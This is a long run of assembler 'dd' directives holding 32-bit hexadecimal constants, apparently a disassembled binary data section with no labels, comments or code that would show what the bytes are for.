dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h, 1DC095ECh
dd 750A5B9h, 16294A7Bh, 5FB43025h, 0AB0090EAh, 0C449C60Eh
dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh
dd 0FB3AE571h, 4E182Ah
dd 0C9825CA6h, 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h
dd 0F8423180h, 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h
dd 57ED00Ch, 61300FB8h, 0E7E0558Dh, 0AF918696h, 0C32D321Dh
dd 82C8C0CAh, 60C4A00h, 26D858Ah, 25ECB5BBh, 18E01844h
dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h
dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch
dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh
dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h
dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h
dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh, 598AC47h
dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h
dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh
dd 1CC9043h, 0CB8588Ah, 0E4E54020h, 0C17CA7C8h, 0AF7A4807h
dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh
dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh, 61003FECh
dd 0AFBC683Eh, 40DB14h, 9E97E805h, 0F77BF6FDh, 0ECCC1112h
dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh
dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh
dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h, 4A9216h
dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h
dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h
dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h
dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h
dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h
dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h
dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h, 3F032ECh
dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h
dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h
dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h
dd 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh, 0A685EF41h
dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh
dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h
dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h, 4E62B8Eh
dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h, 0D427012Fh
dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch
dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h, 0A09C4Ch
dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
dd 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h, 0B6D9500h
dd 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh, 8D711718h
dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
dd 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h, 0D70669FCh
dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh, 39717064h
dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh, 93054FF2h
dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h, 4E7930F8h
dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h, 27E853BFh
dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
dd 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h, 0E5971042h
dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
dd 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h, 2ABCAC45h
dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h, 12F1A80Bh
dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch, 57006F7Fh
dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh
dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h, 5614E350h
dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch
dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h
dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h
dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch
dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h, 200107Dh
dd 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h, 892F1301h
dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h
dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h
dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h
dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h, 0BB400293h
dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h
dd 11F4ADD7h, 803908C4h
dd 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch
dd 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h
dd 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah
dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h
dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah
dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h
dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h
dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h
dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h, 0E4DAEA32h
dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h
dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h
dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h
dd 18B22C3h, 5A9EFC08h, 0EB540584h, 0EC1811E9h, 8D01801Ch
dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh
dd 6C9ED5h, 0FF558817h, 82297F3h, 0EC832500h, 10111C93h
dd 5C01750Ch, 213B7F6h, 0C34C002Dh, 0A80D03D6h, 18D38400h
dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h, 37F2F4AFh
dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh
dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h
dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh, 482F680Ah
dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh
dd 8A0FFC30h, 0AD6D22h, 77C90576h, 833AFBC4h, 9DF00805h
dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h, 2079D5EAh
dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh
dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh, 0EB755AA9h
dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h
dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh
dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h, 2C201021h
dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h
dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h
dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h, 0D89D0EF7h
dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h
dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh
dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh
dd 7B81100h, 7A31BC4Bh, 836C0014h, 0FF09B068h, 0E0003D5h
dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch, 0B3034F05h
dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h, 0C42C9B5Dh
dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh, 8E00CB4h
dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh, 60E62FBh
dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah, 13FCBE0h
dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h, 17BF39EBh
dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h, 0E6720A78h
dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h, 0D0C80122h
dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh, 8BF00032h
dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h, 0EC6A6093h
dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh, 0AEE83EFFh
dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h, 1741090Fh
dd 70038557h, 29DACC0h, 76DC00E8h, 8199101Ah, 0C01DFDF3h
dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h, 94287506h
dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h, 740F649h
dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h, 0A5583553h
dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h, 0E45E1739h
dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
dd 9D0065A1h, 429AC8Eh, 6A13DAh, 0A662E756h, 0A4D7471Fh
dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h, 2E7FDA91h
dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh, 48A680ABh
dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh, 68D5200Bh
dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h, 0BE41FC55h
dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
dd 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h, 3A7FF95Bh
dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h, 0A5E947EDh
dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h, 1CC020FCh
dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h, 0F642AA80h
dd 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh, 0F67D3DF7h, 0EF540077h
dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch, 68500762h
dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h
dd 9117B28h, 5623F4B7h, 0B2622A8Fh, 0D0E01EF8h, 4C76FCC8h
dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h, 3F71A108h
dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h, 49980901h
dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h, 2879AF8Bh
dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h
dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h
dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h
dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h, 0F2EE0044h
dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h
dd 7D9A5FCh, 6EC01609h
dd 71E8F1E0h, 23E0E23h, 0F826112Fh, 0B900EE21h, 60751735h
dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h
dd 0C3312Bh, 3BD3A0D0h, 327736F2h, 0E7B82000h, 875C48Fh
dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh, 2A90D4h
dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh, 9511000Ah
dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh
dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h
dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h, 5408B324h
dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h, 72F8D4B5h
dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h, 0C6DE3780h
dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h
dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh, 0B59428h
dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h
dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h
dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h
dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh
dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h
dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h
dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h, 80F0756h
dd 91F6482Eh, 3737566h, 0E888BA8Ch, 0F3E8DFA3h, 44C136AFh
dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h
dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh
dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h, 8776032Fh
dd 714A0CAh, 21C7ACB8h, 0F048BA76h, 0A3A51E5Ch, 172061C0h
dd 0FF64845Ah, 5E85F8h, 0BBB3274Ah, 2E4BEC59h, 0C4102307h
dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h
dd 22F19DCAh, 93371F5Bh, 0BC6380BFh, 4F52740Fh, 1EA23907h
dd 8880103Dh, 16971Ah, 0C27043B4h, 0E9BBE837h, 125A7100h
dd 0E8FEF50h, 0D868001Ch, 0B3EA42D3h, 0A44CB421h, 0B12002Ch
dd 702EDD1h, 0E2B90083h, 58694A6Ch, 0C5005F28h, 5D898F5Ch
dd 7CF9531Fh, 79A000A8h, 168E4212h, 4000738Dh, 0E86D28EBh
dd 30E18h, 468A109Ch, 6492074Fh, 0C7215400h, 896FD2FFh
dd 269000ACh, 2481F505h, 7F00EA80h, 0F7C2AF82h, 0FAEFC9F8h
dd 5EFF0FC8h, 0A43E0ABh, 47B00270h, 9005821h, 6AF8E2E9h
dd 1616851Fh, 1553C08h, 0F2064369h, 0A5EEE012h, 0C9032707h
dd 0C00687Dh, 0B0F3EC80h, 6750022h, 12F3AF8h, 0F0085D7h
dd 31222F4h, 5CC3FD3Bh, 391C4A1Dh, 24CE4043h, 2DD8E83Dh
dd 3D12EA26h, 47AF4907h, 0F1AE0260h, 0C8040054h, 22289121h
dd 3A00442Fh, 30488A58h, 0EA1B8Bh, 3607A133h, 7D162CF1h
dd 7BEA03FAh, 0B215200h, 88F0C464h, 5E4789Dh, 0B1CF71B8h
dd 8E49C097h, 20009DBh, 8078BEFCh, 424412h, 0FE79B7E4h
dd 387450DAh, 1353126h, 9992803Bh, 0C2D4717Eh, 24DD005Bh
dd 0EBAE3BA0h, 41002CC4h, 823CB988h, 5C89CC29h, 63000A65h
dd 0F3E7B0FAh, 680035A4h, 0A2AEB5DCh, 0D15ED4h, 8C38600Bh
dd 56C3E850h, 8600C1E8h, 13B9E089h, 8B5B80h, 0FBC28110h
dd 0A104D614h, 3BDBDF38h, 774900D2h, 0E035FFEEh, 40655C4Bh
dd 45A4AF00h, 0E989619Ah, 5A046800h, 0AB505D28h, 87920758h
dd 872449A6h, 86B25134h, 3C71F02Bh, 7B184D07h, 0C11078A4h
dd 1D1CCC66h, 143EF8h, 4ED70889h, 83006C64h, 2F22098h
dd 112FC53h, 1C2693F4h, 0F4E7AA85h, 73013B1Fh, 8819826Dh
dd 0C6C81413h, 0C8AB00F7h, 584A4363h, 0B01F68EEh, 0CC808732h
dd 6238788Dh, 0E346074Bh, 0CFAB1875h, 4E405861h, 69C9C8CBh
dd 3E6A5F00h, 2437C48h, 18271E99h, 82007C55h, 6132A98h
dd 4000D7FFh, 8CC3FE11h, 0AD0343h, 0F8A83D16h, 2105472Bh
dd 7EA65400h, 0E90DE790h, 5CC4002Ch, 5219BCDAh, 4A00C0EFh
dd 3684CAFh, 24A4A0h, 0C2E8D649h, 28B40743h, 0DD12B501h
dd 45B85061h, 0E9641E0h, 8AC2379Ah, 0D305A6A1h, 7048FDCAh
dd 0F0324C3h, 4AC894F7h, 8810DB7Fh, 0F0FD5F9Fh, 49D00F65h
dd 0A9230814h, 1C0408Ah, 0F076034Eh, 93382B00h, 0B513E67Dh
dd 1FCD7C82h, 9F3D81F8h, 1C80FA2Ch, 7A6E883h, 24E279FAh
dd 32756600h, 4F84D74Eh, 0FFD50097h, 0B4EA3CC4h, 45003417h
dd 52442168h, 313E065Bh, 4A7854C1h, 0FD2CC3Ah, 0A69C8500h
dd 0DB9A52A7h, 0FCE200D9h, 4BA14634h, 2600EB54h, 0C32BA24h
dd 0EECC0850h, 0F1B207DCh, 9464594Fh, 60098010h, 23A8FCBh
dd 0A1F800A8h, 68672029h, 4FC62C28h, 0A9AA01ECh, 0F089D7CCh
dd 0CF00440Ah, 0B7DC16CEh, 8A0E34h, 9A5C217Bh, 74D017D3h
dd 8206A101h, 0C087E56Ch, 0D8C7D8h, 52B1D1ECh, 0E9C34005h
dd 5300257Ch, 4B22ABC2h, 17E7524h, 5A32894Eh, 0E8D0E419h
dd 297F27A3h, 6AB2F600h, 0A6CA5EA7h, 0F4AA0004h, 0BBB06DAFh
dd 0FA004B79h, 0DC4F34FDh, 0FB577D5h, 1DC0CC57h, 41C26CEFh
dd 5FC04DC2h, 83009872h, 62C6B0CAh, 3319AFh, 0E8C7042Ah
dd 0D40D5AB8h, 8074FF3Dh, 5710DA60h, 0F883B903h, 68D00D8h
dd 8614FD95h, 3500BBD2h, 311D892Bh, 2541B9h, 745106A3h
dd 4E525B03h, 0B293D200h, 1A8F73E8h, 0D75313DDh, 699C00BFh
dd 0CD65C26Dh, 0F4853B00h, 9149C48Dh, 30E860h, 739EB292h
dd 786E7DCBh, 0FAE87000h, 9718B059h, 0F47B1EC1h, 83BD872Fh
dd 4840F18Dh, 0E4ED600Dh, 0A35C1403h, 0B988A916h, 56309363h
dd 0D6970012h, 106A6132h, 607C7DB9h, 86901C00h, 89B2EC5h
dd 0DF81014Ah, 89A1919Eh, 0CC7AE0D3h, 220A5360h, 11C3E7h
dd 31642F0h, 41EC1215h, 0C76A2300h, 0B4DA468Ch, 17C00019h
dd 744A423Ah, 800A80Bh, 3E4C754Bh, 3D9B73h, 5D4E8CADh
dd 0C519EC6Eh, 24145A00h, 0A694C125h, 83E002h, 0DC97FC6Dh
dd 51702CC3h, 69AF000h, 0DE813EF4h, 1DE90002h, 29508E25h
dd 6F00754Fh, 94526796h, 3809BD69h, 0A400EA2Fh, 0D87C0782h
dd 8039E9C4h, 74B0097Dh, 4D560021h, 92DB91h, 32EC8F8h
dd 1150C329h, 5F67440Fh, 5D012005h, 3DD5C7h, 260DDAE6h
dd 824998F5h, 8774A01h, 0D4637550h, 0C8D01871h, 1906002Bh
dd 0E7BCEAC6h, 55006F4Bh, 53705B86h, 51F06Bh, 0ABC85E75h
dd 0D8E5A9B8h, 8500D177h, 4CF2DCEAh, 897458h, 0FC66EBD4h
dd 5D719052h, 85AC8000h, 6A2EC922h, 4BEE1C55h, 101E7ED5h
dd 2BAEC051h, 3C0FDF0h, 689F300h, 4C418CAFh, 42670075h
dd 3399CB1Fh, 0C438C2EFh, 3114804Ah, 5E044669h, 4E581E6Ch
dd 907D8025h, 0B4FE2F0Bh, 1A45DA00h, 4293C9CDh, 56290098h
dd 7C58C399h, 2E00905Ah, 7B05F569h, 0E4246EBh, 27754D6Fh
dd 0D5B00017h, 0A14A858Dh, 17EBF801h, 9A92FEB3h, 77A3D9D8h
dd 0AB4B0367h, 94327866h, 0EED5C490h, 0E8194200h, 0C9C7933Ch
dd 75480FCEh, 0F8E0C6ACh, 94D12E7Dh, 2DE18100h, 0AC13B27h
dd 0CA033D02h, 89080700h, 1E907519h, 0C2D37D00h, 20449DBEh
dd 95C11D05h, 8BD0CEA3h, 6109C380h, 0CC00C481h, 0F7F0167Fh
dd 3AA9D40Ch, 0DCA5D006h, 0E41480D7h, 392EE091h, 0E6802466h
dd 0DFB94B39h, 1F005B82h, 45C63842h, 0C4F964h, 83028485h
dd 60D78A89h, 0FE508200h, 3C70228Bh, 0E754009Dh, 0F0EACE64h
dd 530075DBh, 0CC88FF17h
dd 7E38E9E2h, 5E070C5Ah, 0B6A28304h, 0DE171303h, 0F178FF10h
dd 2660660Bh, 0B0F00Ch, 25FA453Bh, 5CF00D74h, 406C21Fh
dd 21A9DAC0h, 168BDFh, 50176655h, 19458940h, 0B70FF200h
dd 33310308h, 0E94300CCh, 3A3B0A60h, 741E3546h, 36000E67h
dd 261F0954h, 0A03F0095h, 4F665001h, 0B008102h, 0A6F2B752h
dd 3032FA53h, 755E0D45h, 0A9076241h, 2AD8A2B9h, 64178ED0h
dd 1F20047h, 4EEC8238h, 270134F3h, 5DC04A8Fh, 1BCD2E6Bh
dd 1D99DCh, 0EDA5FA29h, 0FBBB6001h, 2481660Bh, 1980FF7Dh
dd 258A2976h, 0A00074F6h, 530DE1FFh, 6731579Ch, 50F248D9h
dd 45B398Eh, 1CF4E83Bh, 6A80803Fh, 4E268D0Ah, 4F740008h
dd 0ED8C03E7h, 7D00E91Eh, 3C51AEE0h, 0F1250F6h, 23AB4056h
dd 9F53D20h, 0FC0101EAh, 22FEC9B3h, 0BE88565h, 3AFF450h
dd 7FF64269h, 20E70E32h, 3C65BE58h, 0E7215317h, 0DD121FFFh
dd 45CF0011h, 13BE0E62h, 0B0D47100h, 8C9D4792h, 3CA4070Ch
dd 5090A303h, 83D5ECBDh, 0AC68501h, 52C77853h, 0F854ECh
dd 50908603h, 4D07E924h, 83376400h, 8A84AD2Ah, 91480543h
dd 0C09B124Ah, 30413201h, 0A8FEA973h, 42BAB800h, 15730ADCh
